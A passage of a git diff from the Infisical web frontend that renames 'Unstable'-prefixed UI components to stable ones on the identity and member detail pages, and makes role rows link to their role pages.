               <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
             </div>
           ) : identityProjectPrivileges?.length ? (
-            <UnstableTable>
-              <UnstableTableHeader>
-                <UnstableTableRow>
-                  <UnstableTableHead className="w-1/2">Name</UnstableTableHead>
-                  <UnstableTableHead className="w-1/2">Duration</UnstableTableHead>
-                  <UnstableTableHead className="w-5" />
-                </UnstableTableRow>
-              </UnstableTableHeader>
-              <UnstableTableBody>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead className="w-1/2">Name</TableHead>
+                  <TableHead className="w-1/2">Duration</TableHead>
+                  <TableHead className="w-5" />
+                </TableRow>
+              </TableHeader>
+              <TableBody>
                 {!isPending &&
                   identityProjectPrivileges?.map((privilegeDetails) => {
                     const isTemporary = privilegeDetails?.isTemporary;
@@ -203,11 +201,9 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                     }
 
                     return (
-                      <UnstableTableRow key={`user-project-privilege-${privilegeDetails?.id}`}>
-                        <UnstableTableCell className="max-w-0 truncate">
-                          {privilegeDetails.slug}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                      <TableRow key={`user-project-privilege-${privilegeDetails?.id}`}>
+                        <TableCell className="max-w-0 truncate">{privilegeDetails.slug}</TableCell>
+                        <TableCell>
                           {isTemporary ? (
                             <Tooltip>
                               <TooltipTrigger asChild>
@@ -224,15 +220,15 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                           ) : (
                             text
                           )}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton size="xs" variant="ghost">
+                        </TableCell>
+                        <TableCell>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton size="xs" variant="ghost">
                                 <EllipsisIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent align="end">
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent align="end">
                               <ProjectPermissionCan
                                 I={ProjectPermissionActions.Edit}
                                 a={subject(ProjectPermissionSub.Identity, {
@@ -242,7 +238,7 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                                 allowedLabel="Remove Role"
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     isDisabled={!isAllowed || !canModifyIdentityPrivileges}
                                     onClick={(e) => {
                                       e.stopPropagation();
@@ -250,7 +246,7 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                                     }}
                                   >
                                     Edit Additional Privilege
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
                               <ProjectPermissionCan
@@ -262,7 +258,7 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                                 allowedLabel="Remove Role"
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     isDisabled={!isAllowed || !canModifyIdentityPrivileges}
                                     variant="danger"
                                     onClick={(e) => {
@@ -274,28 +270,26 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                                     }}
                                   >
                                     Remove Additional Privilege
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     );
                   })}
-              </UnstableTableBody>
-            </UnstableTable>
+              </TableBody>
+            </Table>
           ) : (
-            <UnstableEmpty className="border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>
-                  This machine identity has no additional privileges
-                </UnstableEmptyTitle>
-                <UnstableEmptyDescription>
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>This machine identity has no additional privileges</EmptyTitle>
+                <EmptyDescription>
                   Add an additional privilege to grant one-off access policies
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
-              <UnstableEmptyContent>
+                </EmptyDescription>
+              </EmptyHeader>
+              <EmptyContent>
                 <ProjectPermissionCan
                   I={ProjectPermissionActions.Edit}
                   a={subject(ProjectPermissionSub.Identity, {
@@ -331,11 +325,11 @@ export const IdentityProjectAdditionalPrivilegeSection = ({ identityMembershipDe
                     );
                   }}
                 </ProjectPermissionCan>
-              </UnstableEmptyContent>
-            </UnstableEmpty>
+              </EmptyContent>
+            </Empty>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <Sheet
         open={popUp.modifyPrivilege.isOpen}
         onOpenChange={(isOpen) => handlePopUpToggle("modifyPrivilege", isOpen)}
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityRoleDetailsSection/IdentityRoleDetailsSection.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityRoleDetailsSection/IdentityRoleDetailsSection.tsx
index fc793ecefaa..eba35e0476d 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityRoleDetailsSection/IdentityRoleDetailsSection.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/components/IdentityRoleDetailsSection/IdentityRoleDetailsSection.tsx
@@ -1,5 +1,6 @@
 import { useMemo } from "react";
 import { subject } from "@casl/ability";
+import { useNavigate } from "@tanstack/react-router";
 import { format, formatDistance } from "date-fns";
 import { ClockAlertIcon, ClockIcon, EllipsisIcon, PencilIcon } from "lucide-react";
 
@@ -9,31 +10,31 @@ import { DeleteActionModal, Lottie, Modal, ModalContent } from "@app/components/
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -41,6 +42,7 @@ import {
   useProject,
   useProjectPermission
 } from "@app/context";
+import { getProjectBaseURL } from "@app/helpers/project";
 import { formatProjectRoleName } from "@app/helpers/roles";
 import { usePopUp } from "@app/hooks";
 import { useUpdateProjectIdentityMembership } from "@app/hooks/api";
@@ -64,6 +66,7 @@ export const IdentityRoleDetailsSection = ({
 }: Props) => {
   const { currentProject } = useProject();
   const { permission } = useProjectPermission();
+  const navigate = useNavigate();
   const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
     "deleteRole",
     "modifyRole"
@@ -125,14 +128,12 @@ export const IdentityRoleDetailsSection = ({
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Project Roles</UnstableCardTitle>
-          <UnstableCardDescription>
-            Manage roles assigned to this machine identity
-          </UnstableCardDescription>
+      <Card>
+        <CardHeader>
+          <CardTitle>Project Roles</CardTitle>
+          <CardDescription>Manage roles assigned to this machine identity</CardDescription>
           {hasRoles && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Edit}
                 a={subject(ProjectPermissionSub.Identity, {
@@ -168,10 +169,10 @@ export const IdentityRoleDetailsSection = ({
                   );
                 }}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           {
             /* eslint-disable-next-line no-nested-ternary */
             isMembershipDetailsLoading ? (
@@ -180,15 +181,15 @@ export const IdentityRoleDetailsSection = ({
                 <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
               </div>
             ) : hasRoles ? (
-              <UnstableTable>
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead className="w-1/2">Role</UnstableTableHead>
-                    <UnstableTableHead className="w-1/2">Duration</UnstableTableHead>
-                    <UnstableTableHead className="w-5" />
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+              <Table>
+                <TableHeader>
+                  <TableRow>
+                    <TableHead className="w-1/2">Role</TableHead>
+                    <TableHead className="w-1/2">Duration</TableHead>
+                    <TableHead className="w-5" />
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {identityMembershipDetails?.roles?.map((roleDetails) => {
                     const isTemporary = roleDetails?.isTemporary;
                     const isExpired =
@@ -214,13 +215,28 @@ export const IdentityRoleDetailsSection = ({
                     }
 
                     return (
-                      <UnstableTableRow key={`user-project-identity-${roleDetails?.id}`}>
-                        <UnstableTableCell className="max-w-0 truncate">
+                      <TableRow
+                        key={`user-project-identity-${roleDetails?.id}`}
+                        className="cursor-pointer"
+                        onClick={() =>
+                          navigate({
+                            to: `${getProjectBaseURL(currentProject.type)}/roles/$roleSlug`,
+                            params: {
+                              projectId: currentProject.id,
+                              roleSlug:
+                                roleDetails.role === "custom"
+                                  ? roleDetails.customRoleSlug
+                                  : roleDetails.role
+                            }
+                          })
+                        }
+                      >
+                        <TableCell className="max-w-0 truncate">
                           {roleDetails.role === "custom"
                             ? roleDetails.customRoleName
                             : formatProjectRoleName(roleDetails.role)}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           {isTemporary ? (
                             <Tooltip>
                               <TooltipTrigger asChild>
@@ -237,15 +253,19 @@ export const IdentityRoleDetailsSection = ({
                           ) : (
                             text
                           )}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton size="xs" variant="ghost">
+                        </TableCell>
+                        <TableCell>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton
+                                size="xs"
+                                variant="ghost"
+                                onClick={(e) => e.stopPropagation()}
+                              >
                                 <EllipsisIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent align="end">
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent align="end">
                               <ProjectPermissionCan
                                 I={ProjectPermissionActions.Edit}
                                 a={subject(ProjectPermissionSub.Identity, {
@@ -253,7 +273,7 @@ export const IdentityRoleDetailsSection = ({
                                 })}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     onClick={(e) => {
                                       e.stopPropagation();
                                       handlePopUpOpen("deleteRole", {
@@ -265,28 +285,24 @@ export const IdentityRoleDetailsSection = ({
                                     variant="danger"
                                   >
                                     Remove Role
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     );
                   })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
             ) : (
-              <UnstableEmpty className="border">
-                <UnstableEmptyHeader>
-                  <UnstableEmptyTitle>
-                    This machine identity doesn&apos;t have any roles
-                  </UnstableEmptyTitle>
-                  <UnstableEmptyDescription>
-                    Give this machine identity one or more roles
-                  </UnstableEmptyDescription>
-                </UnstableEmptyHeader>
-                <UnstableEmptyContent>
+              <Empty className="border">
+                <EmptyHeader>
+                  <EmptyTitle>This machine identity doesn&apos;t have any roles</EmptyTitle>
+                  <EmptyDescription>Give this machine identity one or more roles</EmptyDescription>
+                </EmptyHeader>
+                <EmptyContent>
                   <ProjectPermissionCan
                     I={ProjectPermissionActions.Edit}
                     a={subject(ProjectPermissionSub.Identity, {
@@ -322,12 +338,12 @@ export const IdentityRoleDetailsSection = ({
                       );
                     }}
                   </ProjectPermissionCan>
-                </UnstableEmptyContent>
-              </UnstableEmpty>
+                </EmptyContent>
+              </Empty>
             )
           }
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <DeleteActionModal
         isOpen={popUp.deleteRole.isOpen}
         deleteKey="remove"
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityAuthSection.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityAuthSection.tsx
index c021de990d7..db651af9d3a 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityAuthSection.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityAuthSection.tsx
@@ -5,17 +5,17 @@ import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle
 } from "@app/components/v3";
 import { ProjectPermissionIdentityActions, ProjectPermissionSub } from "@app/context";
 import { IdentityAuthMethod, TProjectIdentity } from "@app/hooks/api";
@@ -39,15 +39,15 @@ export const ProjectIdentityAuthenticationSection = ({ identity, refetchIdentity
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Authentication</UnstableCardTitle>
-          <UnstableCardDescription>Configure authentication methods</UnstableCardDescription>
+      <Card>
+        <CardHeader>
+          <CardTitle>Authentication</CardTitle>
+          <CardDescription>Configure authentication methods</CardDescription>
           {hasAuthMethods &&
             !Object.values(IdentityAuthMethod).every((method) =>
               identity.authMethods.includes(method)
             ) && (
-              <UnstableCardAction>
+              <CardAction>
                 <ProjectPermissionCan
                   I={ProjectPermissionIdentityActions.Edit}
                   a={subject(ProjectPermissionSub.Identity, {
@@ -73,10 +73,10 @@ export const ProjectIdentityAuthenticationSection = ({ identity, refetchIdentity
                     </Button>
                   )}
                 </ProjectPermissionCan>
-              </UnstableCardAction>
+              </CardAction>
             )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           {identity.authMethods.length > 0 ? (
             <ViewIdentityAuth
               authMethods={identity.authMethods}
@@ -85,16 +85,12 @@ export const ProjectIdentityAuthenticationSection = ({ identity, refetchIdentity
               activeLockoutAuthMethods={identity.activeLockoutAuthMethods}
             />
           ) : (
-            <UnstableEmpty className="border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>
-                  This machine identity has no auth methods configured
-                </UnstableEmptyTitle>
-                <UnstableEmptyDescription>
-                  Add an auth method to use this machine identity
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
-              <UnstableEmptyContent>
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>This machine identity has no auth methods configured</EmptyTitle>
+                <EmptyDescription>Add an auth method to use this machine identity</EmptyDescription>
+              </EmptyHeader>
+              <EmptyContent>
                 <ProjectPermissionCan
                   I={ProjectPermissionIdentityActions.Edit}
                   a={subject(ProjectPermissionSub.Identity, {
@@ -119,11 +115,11 @@ export const ProjectIdentityAuthenticationSection = ({ identity, refetchIdentity
                     </Button>
                   )}
                 </ProjectPermissionCan>
-              </UnstableEmptyContent>
-            </UnstableEmpty>
+              </EmptyContent>
+            </Empty>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <IdentityAuthMethodModal
         popUp={popUp}
         handlePopUpOpen={handlePopUpOpen}
diff --git a/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityDetailsSection.tsx b/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityDetailsSection.tsx
index 5e2c149a250..d037bdf72d6 100644
--- a/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityDetailsSection.tsx
+++ b/frontend/src/pages/project/IdentityDetailsByIDPage/components/ProjectIdentityDetailsSection.tsx
@@ -6,21 +6,21 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { Modal, ModalContent, Tooltip } from "@app/components/v2";
 import {
   Badge,
+  ButtonGroup,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
+  IconButton,
   OrgIcon,
   ProjectIcon,
-  SubOrgIcon,
-  UnstableButtonGroup,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  SubOrgIcon
 } from "@app/components/v3";
 import { ProjectPermissionIdentityActions, ProjectPermissionSub } from "@app/context";
 import { usePopUp, useTimedReset } from "@app/hooks";
@@ -50,12 +50,12 @@ export const ProjectIdentityDetailsSection = ({
 
   return (
     <>
-      <UnstableCard className="w-full lg:max-w-[24rem]">
-        <UnstableCardHeader className="border-b">
-          <UnstableCardTitle>Details</UnstableCardTitle>
-          <UnstableCardDescription>Machine identity details</UnstableCardDescription>
+      <Card className="w-full lg:max-w-[24rem]">
+        <CardHeader className="border-b">
+          <CardTitle>Details</CardTitle>
+          <CardDescription>Machine identity details</CardDescription>
           {!isOrgIdentity && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionIdentityActions.Edit}
                 a={subject(ProjectPermissionSub.Identity, {
@@ -63,7 +63,7 @@ export const ProjectIdentityDetailsSection = ({
                 })}
               >
                 {(isAllowed) => (
-                  <UnstableIconButton
+                  <IconButton
                     isDisabled={!isAllowed}
                     onClick={() => {
                       handlePopUpOpen("editIdentity");
@@ -72,13 +72,13 @@ export const ProjectIdentityDetailsSection = ({
                     variant="outline"
                   >
                     <PencilIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 )}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           <DetailGroup>
             <Detail>
               <DetailLabel>Name</DetailLabel>
@@ -89,7 +89,7 @@ export const ProjectIdentityDetailsSection = ({
               <DetailValue className="flex items-center gap-x-1">
                 {identity.id}
                 <Tooltip content="Copy machine identity ID to clipboard">
-                  <UnstableIconButton
+                  <IconButton
                     onClick={() => {
                       navigator.clipboard.writeText(identity.id);
                       setCopyTextId("Copied");
@@ -99,7 +99,7 @@ export const ProjectIdentityDetailsSection = ({
                   >
                     {/* TODO(scott): color this should be a button variant and create re-usable copy button */}
                     {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                  </UnstableIconButton>
+                  </IconButton>
                 </Tooltip>
               </DetailValue>
             </Detail>
@@ -124,14 +124,14 @@ export const ProjectIdentityDetailsSection = ({
               <DetailValue className="flex flex-wrap gap-2">
                 {identity?.metadata?.length ? (
                   identity.metadata?.map((el) => (
-                    <UnstableButtonGroup className="min-w-0" key={el.id}>
+                    <ButtonGroup className="min-w-0" key={el.id}>
                       <Badge isTruncatable>
                         <span>{el.key}</span>
                       </Badge>
                       <Badge variant="outline" isTruncatable>
                         <span>{el.value}</span>
                       </Badge>
-                    </UnstableButtonGroup>
+                    </ButtonGroup>
                   ))
                 ) : (
                   <span className="text-muted">—</span>
@@ -183,8 +183,8 @@ export const ProjectIdentityDetailsSection = ({
               </>
             )}
           </DetailGroup>
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <Modal
         isOpen={popUp.editIdentity.isOpen}
         onOpenChange={(open) => handlePopUpToggle("editIdentity", open)}
diff --git a/frontend/src/pages/project/MemberDetailsByIDPage/MemberDetailsByIDPage.tsx b/frontend/src/pages/project/MemberDetailsByIDPage/MemberDetailsByIDPage.tsx
index c934ce67546..ea58ab7a965 100644
--- a/frontend/src/pages/project/MemberDetailsByIDPage/MemberDetailsByIDPage.tsx
+++ b/frontend/src/pages/project/MemberDetailsByIDPage/MemberDetailsByIDPage.tsx
@@ -19,10 +19,10 @@ import {
 import {
   Badge,
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -166,15 +166,15 @@ export const Page = () => {
                 </Badge>
               </Tooltip>
             ) : (
-              <UnstableDropdownMenu>
-                <UnstableDropdownMenuTrigger asChild>
+              <DropdownMenu>
+                <DropdownMenuTrigger asChild>
                   <Button variant="outline">
                     Options
                     <EllipsisIcon />
                   </Button>
-                </UnstableDropdownMenuTrigger>
-                <UnstableDropdownMenuContent align="end">
-                  <UnstableDropdownMenuItem
+                </DropdownMenuTrigger>
+                <DropdownMenuContent align="end">
+                  <DropdownMenuItem
                     onClick={() => {
                       navigator.clipboard.writeText(membershipDetails.user.id);
                       createNotification({
@@ -184,13 +184,13 @@ export const Page = () => {
                     }}
                   >
                     Copy User ID
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                   <ProjectPermissionCan
                     I={ProjectPermissionMemberActions.AssumePrivileges}
                     a={ProjectPermissionSub.Member}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         isDisabled={!isAllowed}
                         onClick={() =>
                           handlePopUpOpen("assumePrivileges", {
@@ -207,7 +207,7 @@ export const Page = () => {
                             <InfoIcon className="text-muted" />
                           </div>
                         </Tooltip>
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </ProjectPermissionCan>
                   <ProjectPermissionCan
@@ -215,17 +215,17 @@ export const Page = () => {
                     a={ProjectPermissionSub.Member}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         variant="danger"
                         isDisabled={!isAllowed}
                         onClick={() => handlePopUpOpen("removeMember")}
                       >
                         Remove User From Project
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </ProjectPermissionCan>
-                </UnstableDropdownMenuContent>
-              </UnstableDropdownMenu>
+                </DropdownMenuContent>
+              </DropdownMenu>
             )}
           </PageHeader>
           <div className="flex flex-col gap-5 lg:flex-row">
diff --git a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MemberProjectAdditionalPrivilegeSection.tsx b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MemberProjectAdditionalPrivilegeSection.tsx
index 1c410f05815..1ceea1b40a0 100644
--- a/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MemberProjectAdditionalPrivilegeSection.tsx
+++ b/frontend/src/pages/project/MemberDetailsByIDPage/components/MemberProjectAdditionalPrivilegeSection/MemberProjectAdditionalPrivilegeSection.tsx
@@ -10,37 +10,37 @@ import { DeleteActionModal, Lottie } from "@app/components/v2";
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetHeader,
   SheetTitle,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -137,15 +137,15 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Project Additional Privileges
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/access-controls/additional-privileges#api" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>Assign one-off policies to this user</UnstableCardDescription>
+          </CardTitle>
+          <CardDescription>Assign one-off policies to this user</CardDescription>
           {!isOwnProjectMembershipDetails && hasAdditionalPrivileges && (
-            <UnstableCardAction>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Edit}
                 a={ProjectPermissionSub.Member}
@@ -179,10 +179,10 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                   );
                 }}
               </ProjectPermissionCan>
-            </UnstableCardAction>
+            </CardAction>
           )}
-        </UnstableCardHeader>
-        <UnstableCardContent>
+        </CardHeader>
+        <CardContent>
           {/* eslint-disable-next-line no-nested-ternary */}
           {isPending ? (
             // scott: todo proper loader
@@ -190,15 +190,15 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
               <Lottie icon="infisical_loading_white" isAutoPlay className="w-16" />
             </div>
           ) : userProjectPrivileges?.length ? (
-            <UnstableTable>
-              <UnstableTableHeader>
-                <UnstableTableRow>
-                  <UnstableTableHead className="w-1/2">Name</UnstableTableHead>
-                  <UnstableTableHead className="w-1/2">Duration</UnstableTableHead>
-                  {!isOwnProjectMembershipDetails && <UnstableTableHead className="w-5" />}
-                </UnstableTableRow>
-              </UnstableTableHeader>
-              <UnstableTableBody>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead className="w-1/2">Name</TableHead>
+                  <TableHead className="w-1/2">Duration</TableHead>
+                  {!isOwnProjectMembershipDetails && <TableHead className="w-5" />}
+                </TableRow>
+              </TableHeader>
+              <TableBody>
                 {!isPending &&
                   userProjectPrivileges?.map((privilegeDetails) => {
                     const isTemporary = privilegeDetails?.isTemporary;
@@ -226,8 +226,8 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                     }
 
                     return (
-                      <UnstableTableRow key={`user-project-privilege-${privilegeDetails?.id}`}>
-                        <UnstableTableCell className="flex items-center gap-2">
+                      <TableRow key={`user-project-privilege-${privilegeDetails?.id}`}>
+                        <TableCell className="flex items-center gap-2">
                           <span className="truncate">{privilegeDetails.slug}</span>
                           {isLinkedToAccessApproval && (
                             <Tooltip>
@@ -242,8 +242,8 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                               </TooltipContent>
                             </Tooltip>
                           )}
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           {isTemporary ? (
                             <Tooltip>
                               <TooltipTrigger asChild>
@@ -260,16 +260,16 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                           ) : (
                             text
                           )}
-                        </UnstableTableCell>
+                        </TableCell>
                         {!isOwnProjectMembershipDetails && (
-                          <UnstableTableCell>
-                            <UnstableDropdownMenu>
-                              <UnstableDropdownMenuTrigger asChild>
-                                <UnstableIconButton size="xs" variant="ghost">
+                          <TableCell>
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton size="xs" variant="ghost">
                                   <EllipsisIcon />
-                                </UnstableIconButton>
-                              </UnstableDropdownMenuTrigger>
-                              <UnstableDropdownMenuContent align="end">
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent align="end">
                                 {isLinkedToAccessApproval ? (
                                   <ProjectPermissionCan
                                     I={ProjectPermissionMemberActions.AssignAdditionalPrivileges}
@@ -281,7 +281,7 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                           userId || ""
                                         );
                                       return (
-                                        <UnstableDropdownMenuItem
+                                        <DropdownMenuItem
                                           isDisabled={
                                             !privilegeDetails.accessApprovalRequestId ||
                                             ((!isAllowed || !canModifyMemberPrivileges) &&
@@ -298,7 +298,7 @@ export const MemberProjectAdditionalPrivilegeSection = ({ membershipDetails }: P
                                           }}
                                         >
                                           Revoke Access
-                                        </UnstableDropdownMenuItem>
+                                        </DropdownMenuItem>
                                       );
